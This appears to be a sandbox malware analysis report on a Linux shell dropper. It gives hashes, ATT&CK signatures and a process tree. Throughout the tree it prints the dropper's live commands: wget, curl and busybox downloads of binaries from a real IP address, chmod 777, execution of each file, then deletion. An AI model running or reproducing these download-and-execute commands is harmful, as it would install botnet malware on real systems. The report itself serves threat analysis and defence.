9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196

Analysis

max time kernel
67s
max time network
69s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
12/11/2024, 02:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196.sh
Size 10KB
Sample241112-c8enrsskdt
SHA256 9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196
MD5 82d5f8a562afacc3eb57fcf545fdf9eb
SHA1 02f497614bf06ced05a09d42f37877309bcc1742
SHA512 48b6010e1954922dc84eda44e18bb58307300bc4530bd2aed1b5655da816f8991d5a932e8717e710f04fc5a705dec7c729bd1ba054ebd5007651802dac5f1319
SSDEEP 96:DemyijPzybR1RZRvgAP7FFT7lA0VwC0I6VC/myijPzLgin9gR1RZRvgADNBCVFLd:DemyijPzybr7R7FCXhimyijPzgr7kh
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
917	chmod
929	chmod
947	chmod
886	chmod
965	chmod
723	chmod
822	chmod
841	chmod
748	chmod
847	chmod
953	chmod
862	chmod
874	chmod
941	chmod
774	chmod
799	chmod
868	chmod
935	chmod
793	chmod
898	chmod
904	chmod
911	chmod
959	chmod
730	chmod
856	chmod
880	chmod
892	chmod
923	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
893	du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
877	wget
878	curl
879	busybox
882	rm
894	rm
881	du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
889	wget
890	curl
891	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x	curl
File opened for modification	/tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh	curl
File opened for modification	/tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM	curl
File opened for modification	/tmp/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw	curl
File opened for modification	/tmp/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O	curl
File opened for modification	/tmp/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ	curl
File opened for modification	/tmp/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM	curl
File opened for modification	/tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq	curl
File opened for modification	/tmp/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV	curl
File opened for modification	/tmp/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O	curl
File opened for modification	/tmp/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge	curl
File opened for modification	/tmp/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw	curl
File opened for modification	/tmp/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM	curl
File opened for modification	/tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh	curl
File opened for modification	/tmp/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy	curl
File opened for modification	/tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq	curl
File opened for modification	/tmp/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS	curl
File opened for modification	/tmp/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x	curl
File opened for modification	/tmp/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge	curl
File opened for modification	/tmp/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR	curl
File opened for modification	/tmp/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon	curl
File opened for modification	/tmp/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS	curl
File opened for modification	/tmp/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ	curl
File opened for modification	/tmp/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon	curl
File opened for modification	/tmp/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV	curl
File opened for modification	/tmp/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR	curl
File opened for modification	/tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM	curl
File opened for modification	/tmp/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy	curl

/tmp/9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196.sh
/tmp/9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196.sh
1⤵
PID:692
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:696
- /usr/bin/wget
  wget http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:721
- /bin/chmod
  chmod 777 AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  ./AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - Executes dropped EXE
  PID:724
- /bin/rm
  rm AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:726
- /usr/bin/wget
  wget http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:729
- /bin/chmod
  chmod 777 UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  ./UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:743
- /bin/chmod
  chmod 777 5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  ./5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm 5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:769
- /bin/chmod
  chmod 777 Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  ./Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:779
- /usr/bin/wget
  wget http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:792
- /bin/chmod
  chmod 777 MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  ./MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:795
- /usr/bin/wget
  wget http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:798
- /bin/chmod
  chmod 777 9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  ./9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm 9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:801
- /usr/bin/wget
  wget http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:816
- /bin/chmod
  chmod 777 5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  ./5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm 5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:827
- /usr/bin/wget
  wget http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:840
- /bin/chmod
  chmod 777 obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  ./obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:843
- /usr/bin/wget
  wget http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:846
- /bin/chmod
  chmod 777 l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  ./l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:849
- /usr/bin/wget
  wget http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:855
- /bin/chmod
  chmod 777 qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  ./qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:861
- /bin/chmod
  chmod 777 7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  ./7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm 7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:867
- /bin/chmod
  chmod 777 Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  ./Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:870
- /usr/bin/wget
  wget http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:873
- /bin/chmod
  chmod 777 TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  ./TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:876
- /usr/bin/wget
  wget http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:879
- /bin/chmod
  chmod 777 du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  ./du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:881
- /bin/rm
  rm du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/wget
  wget http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:885
- /bin/chmod
  chmod 777 TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  ./TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:888
- /usr/bin/wget
  wget http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:891
- /bin/chmod
  chmod 777 du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  ./du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:893
- /bin/rm
  rm du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/wget
  wget http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:897
- /bin/chmod
  chmod 777 5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  ./5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm 5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:900
- /usr/bin/wget
  wget http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:903
- /bin/chmod
  chmod 777 AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  ./AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:907
- /usr/bin/wget
  wget http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:910
- /bin/chmod
  chmod 777 UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  ./UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:913
- /usr/bin/wget
  wget http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:916
- /bin/chmod
  chmod 777 obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  ./obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:919
- /usr/bin/wget
  wget http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:922
- /bin/chmod
  chmod 777 Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  ./Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:925
- /usr/bin/wget
  wget http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:928
- /bin/chmod
  chmod 777 MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  ./MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:931
- /usr/bin/wget
  wget http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:934
- /bin/chmod
  chmod 777 9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  ./9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm 9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:937
- /usr/bin/wget
  wget http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:940
- /bin/chmod
  chmod 777 5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
